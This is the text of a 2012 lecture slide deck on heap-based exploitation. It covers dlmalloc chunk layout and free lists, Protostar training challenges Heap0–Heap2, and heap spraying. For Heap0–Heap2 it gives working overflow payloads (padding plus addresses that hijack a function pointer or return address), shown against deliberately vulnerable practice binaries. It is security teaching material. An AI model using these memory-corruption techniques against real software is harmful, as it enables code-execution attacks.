Heap Base Exploitation

Scott Hand
CSG 2/22/12
HEAP BASED
EXPLOITATION

 Heap Basics
 Overview of Exercise Environment Protostar
 Heap0
 Heap1
 Heap2
 Heap3
 Heap Spraying
 Conclusion
WHAT WE WILL COVER…

Heap
Background
and Theory
BASICS

 We know about the stack. Programs store local variables
there.
 Heaps are for storing globals as well as variables too large for
the stack
 In Linux:
 .data – Initialized globals
 .bss – Uninitialized globals
 Heap – Dynamically allocated space, grows upwards
 Stack – Local variables, grows down
WHAT IS THE HEAP?

 glibc uses a version of the popular dlmalloc algorithm
 Memory is allocated in chunks. Each chunk is 8-byte aligned
with a header and data.
 Each chunk contains:
 Size information before and after the chunk – Easy to combine
chunks and allows bidirection traversal from any chunk. Trailer fields
are sometimes omitted in recent implementations
 Chunks are stored in a linked list of bins, sorted by size in
continuous increments of 8 for sizes under 512. Over 512 can
be any multiple of 8.
 Upon freeing a chunk, it is combined with freed neighbors to
lower fragmentation
 The final “top” chunk is empty and its size records the
remaining about of free space
MEMORY ALLOCATION DATA STRUCTURES

BINNING
Size:
16
Size:
24
Size:
32
Size:
512
Size:
576
Size:
231… …
Chunk
1
Chunk
2
Chunk
3
Chunk
4
Chunk
5

 Locality Preservation
 Chunks allocated at the same time tend to be referenced similarly
and have coexistent lifetimes
 Important for good performance, reduces cache misses
 A tweaked version of nearest-fit is used that results in consecutive
blocks when there is space
 This is good for us
 Easy to create overflows, as memory allocated after vulnerable
variables is often given to other variables nearby that may be for
things such as function pointers or file paths
SOME CONSEQUENCES

 We want to see what the heap looks like as more memory is
allocated
 We will allocate three strings: a, b, c. Each is 32 bytes.
 Code:
char *a, *b, *c;
a = malloc(32);
b = malloc(32);
c = malloc(32);
 This will serve as an introduction to the heap3 problem
MALLOC EXAMPLE

FIRST ALLOCATION
0x0804c000
8 Byte Size – 0x29
0x0804c008
32 Byte Data
Chunk 1
a
Remaining Space: 0xFD9

SECOND ALLOCATION
0x0804c000
0x0804c008
32 Byte Data
Chunk 1
a
0x0804c028
0x0804c030
32 Byte Data
Chunk 2
b
Remaining Space: 0xFB1

THIRD ALLOCATION
0x0804c000
0x0804c008
32 Byte Data
Chunk 1
a
0x0804c028
0x0804c030
32 Byte Data
Chunk 2
b
0x0804c050
0x0804c058
32 Byte Data
Chunk 3
c
Remaining Space: 0xF89

 Now, the interesting (and exploitable) part involves the free()
implementation in dlmalloc
 Let’s examine the contents of memory after successive free()
commands are executed.
 Code:
free(c);
free(b);
free(a);
FREE EXAMPLE

BEFORE FIRST FREE
0x0804c000
0x0804c008
“AAAA0”
Chunk 1
a
0x0804c028
0x0804c030
“BBBB0”
Chunk 2
b
0x0804c050
0x0804c058
“CCCC0”
Chunk 3
c

AFTER FIRST FREE
0x0804c000
0x0804c008
“AAAA0”
Chunk 1
a
0x0804c028
0x0804c030
“BBBB0”
Chunk 2
b
0x0804c050
0x0804c058
“0” * 32
Chunk 3

AFTER SECOND FREE
0x0804c000
0x0804c008
“AAAA0”
Chunk 1
a
0x0804c028
0x0804c030
“0x0804c050”
Chunk 2
0x0804c050
0x0804c058
“0” * 32
Chunk 3

AFTER THIRD FREE
0x0804c000
0x0804c008
“0x0804c028”
Chunk 1
0x0804c028
0x0804c030
“0x0804c050”
Chunk 2
0x0804c050
0x0804c058
“0” * 32
Chunk 3

 Here’s the chunk structure with important parts bolded:
struct malloc_chunk {
INTERNAL_SIZE_T prev_size;
INTERNAL_SIZE_T size;
struct malloc_chunk* fd;
struct malloc_chunk* bk;
/* Only for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize;
struct malloc_chunk* bk_nextsize;
};
LOOKING AT MALLOC.C…

 Looks like, for whatever reason, this machine uses singly
linked lists rather than doubly linked lists
 We only have the size and fd values to modify
SOME OBSERVATIONS

 3 Virtual Machines with Challenges
 Nebula – Basic exploitation for people with no experience
 Protostar – Lots of real-world exploits without some of the modern
exploit mitigation systems
 Fusion – Advanced scenarios and modern protection systems. Good
for those who want to learn how to bypass those systems.
 We will use Protostar. It has 4 heap-based exploitation
challenges
EXPLOIT-EXERCISES.COM

 Heap0 – Basic heap overflow
 Heap1 – More complicated overflow
 Heap2 – Stale pointers
 Heap3 – Heap metadata manipulation
HEAP CHALLENGES

 Goal – We want to change the function pointer that points to
nowinner() to point to winner() instead
 Description from author: This level introduces heap overflows
and how they can influence code flow.
HEAP0 - OVERVIEW

 Relevant Code:
struct data *d;
struct fp *f;
d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;
printf("data is at %p, fp is at %pn", d, f);
strcpy(d->name, argv[1]);
f->fp();
HEAP0 - CODE

0x804a000: 0x00000000 0x00000049 0x00000000 0x00000000
0x804a010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a040: 0x00000000 0x00000000 0x00000000 0x00000011
0x804a050: 0x08048478 0x00000000 0x00000000 0x00020fa9
0x804a060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a070: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a090: 0x00000000 0x00000000 0x00000000 0x00000000
HEAP0 – VALID INPUT BEFORE STRCPY
d
f
nowinner()

0x804a000: 0x00000000 0x00000049 0x41414141 0x00000000
0x804a010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a040: 0x00000000 0x00000000 0x00000000 0x00000011
0x804a050: 0x08048478 0x00000000 0x00000000 0x00020fa9
0x804a060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a070: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a090: 0x00000000 0x00000000 0x00000000 0x00000000
HEAP0 – VALID INPUT AFTER STRCPY
d
f
nowinner()
“AAAA”

 If we overflow the character buffer in d, we can overwrite the
function pointer f
 The distance from f to d is 0x804a050-0x804a008 = 72
 The pointer for winner() is 0x8048464
 Python Code: print "A"*72 + "x64x84x04x08"
HEAP0 – EXPLOIT CREATION

0x804a000: 0x00000000 0x00000049 0x41414141 0x41414141
0x804a010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804a020: 0x41414141 0x41414141 0x41414141 0x41414141
0x804a030: 0x41414141 0x41414141 0x41414141 0x41414141
0x804a040: 0x41414141 0x41414141 0x41414141 0x41414141
0x804a050: 0x08048464 0x00000000 0x00000000 0x00020fa9
0x804a060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a070: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a090: 0x00000000 0x00000000 0x00000000 0x00000000
HEAP0 – INVALID INPUT AFTER STRCPY
d
f
winner()

 Goal – Execute the winner() function again. But it’s not so
obvious how this will happen.
 There are two allocations and two strcpy commands
 There are no function pointers. What should we overwrite?
 Description from Author: This level takes a look at code flow
hijacking in data overwrite cases.
HEAP1 - OVERVIEW

 Relevant Code
struct internet *i1, *i2, *i3;
i1 = malloc(sizeof(struct internet));
i1->priority = 1;
i1->name = malloc(8);
i2 = malloc(sizeof(struct internet));
i2->priority = 2;
i2->name = malloc(8);
strcpy(i1->name, argv[1]);
HEAP1 –CODE

 This instruction is the important one:
 We are moving an argument into a pointer stored at i2->name
 Can we change the destination of our argument?
HEAP1 – EXPLOIT IDEAS

0x804a000: 0x00000000 0x00000011 0x00000001 0x0804a018
0x804a010: 0x00000000 0x00000011 0x00000000 0x00000000
0x804a020: 0x00000000 0x00000011 0x00000002 0x0804a038
0x804a030: 0x00000000 0x00000011 0x00000000 0x00000000
0x804a040: 0x00000000 0x00020fc1 0x00000000 0x00000000
HEAP1 – VALID INPUT BEFORE STRCPY
i1->name
i1
i2 i2->name

0x804a000: 0x00000000 0x00000011 0x00000001 0x0804a018
0x804a010: 0x00000000 0x00000011 0x41414141 0x00000000
0x804a020: 0x00000000 0x00000011 0x00000002 0x0804a038
0x804a030: 0x00000000 0x00000011 0x42424242 0x00000000
0x804a040: 0x00000000 0x00020fc1 0x00000000 0x00000000
HEAP1 – VALID INPUT AFTER STRCPY
i1->name = “AAAA”i1
i2 i2->name = “BBBB”

 Let’s overflow i1->name to overwrite i2->name’s pointer
 Where to point?
 Return address!
 20 characters of padding “A” characters
 Return address is stored at 0xbffff79c
 Address of winner() is 0x08048494
 Python Code for overflow (i1):
 print "A"*20 + "x9cxf7xffxbf"
 Shell Code for replacement (i2):
 printf "x94x84x04x08"
 Final exploit:
 `python -c 'print "A"*20 + "x9cxf7xffxbf"'` `printf "x94x84x04x08"`
HEAP1 – EXPLOIT CREATION

 Goal – According to the problem description, this level is
completed when you see the "you have logged in already!"
message
 Description from Author: This level examines what can happen
when heap pointers are stale.
HEAP2 - OVERVIEW

 For each input loop, the following commands are parsed:
 auth
 Description: Allocates memory for auth pointer, clears it, then copies the
user input into it
 Code:
auth = malloc(sizeof(auth));
memset(auth, 0, sizeof(auth));
if(strlen(line + 5) < 31) {
strcpy(auth->name, line + 5);
}
 service
 Description: Changes the service pointer to a duplicate of the provided
input
 Code:
service = strdup(line + 7);
HEAP2 – PROGRAM DESCRIPTION

 For each input loop, the following commands are parsed:
 reset
 Description: Frees the auth pointer
 Code:
free(auth);
 login
 Description: Simulates a login. If the auth->auth field is nonzero, then the
user is logged in. Otherwise, we get a dummy password prompt.
 Code:
if(auth->auth) {
printf("you have logged in already!n");
} else {
printf("please enter your passwordn");
}
HEAP2 – PROGRAM DESCRIPTION

 This program calls malloc() for auth using sizeof(auth)
 sizeof(auth) returns 4 because it’s returning the size of the
pointer, not the size of the struct
 However, calls to auth->auth still access memory well beyond
its allocated 4 bytes
HEAP2 – VULNERABILITY

 Let’s call “auth CSG” to set up our auth pointer
 Then call “service” with a bunch of non-zero garbage
 Then, auth->auth will overflow auth’s buffer into service’s
buffer and read a non-zero integer.
 Python Exploit:
print "auth CSGnservice " + "A"*16 + "nlogin"
HEAP2 – EXPLOIT

HEAP2 – EXPLOIT VISUALIZED
What the programmer thinks happened:
auth size auth->name auth->auth
0x804c000 0x804c008 0x804c028
service size service data
0x804c030 0x804c038
What actually happened:
0x804c000 0x804c008
auth size
0x804c018 0x804c020
service size service data
0x804c028
auth->name auth->auth
auth->auth is non-zero

 Try this one on your own
 We’ll go over the solution next week
HEAP3 – OVERVIEW

 The memory allocation algorithm’s tendency towards
contiguous chunk placement can be used for evil yet again
 In browser, PDF, Flash, etc. exploitation in which the user can
control memory allocations (usually via scripting languages
like JavaScript), payload placement is usually done on the
heap
 How do we reliably find our payload in the potentially
fragmented heap?
 Fill up an entire chunk with NOP sled + payload and spray it
repeatedly into the heap
 Once the allocator fills in the gaps for the heap
fragmentation, we get a nice big contiguous landing area
HEAP SPRAYING

 Links:
 http://www.exploit-exercises.com
 https://www.corelan.be/index.php/2011/12/31/exploit-writing-
tutorial-part-11-heap-spraying-demystified/
 Any questions?
CONCLUSION

Heap Base Exploitation

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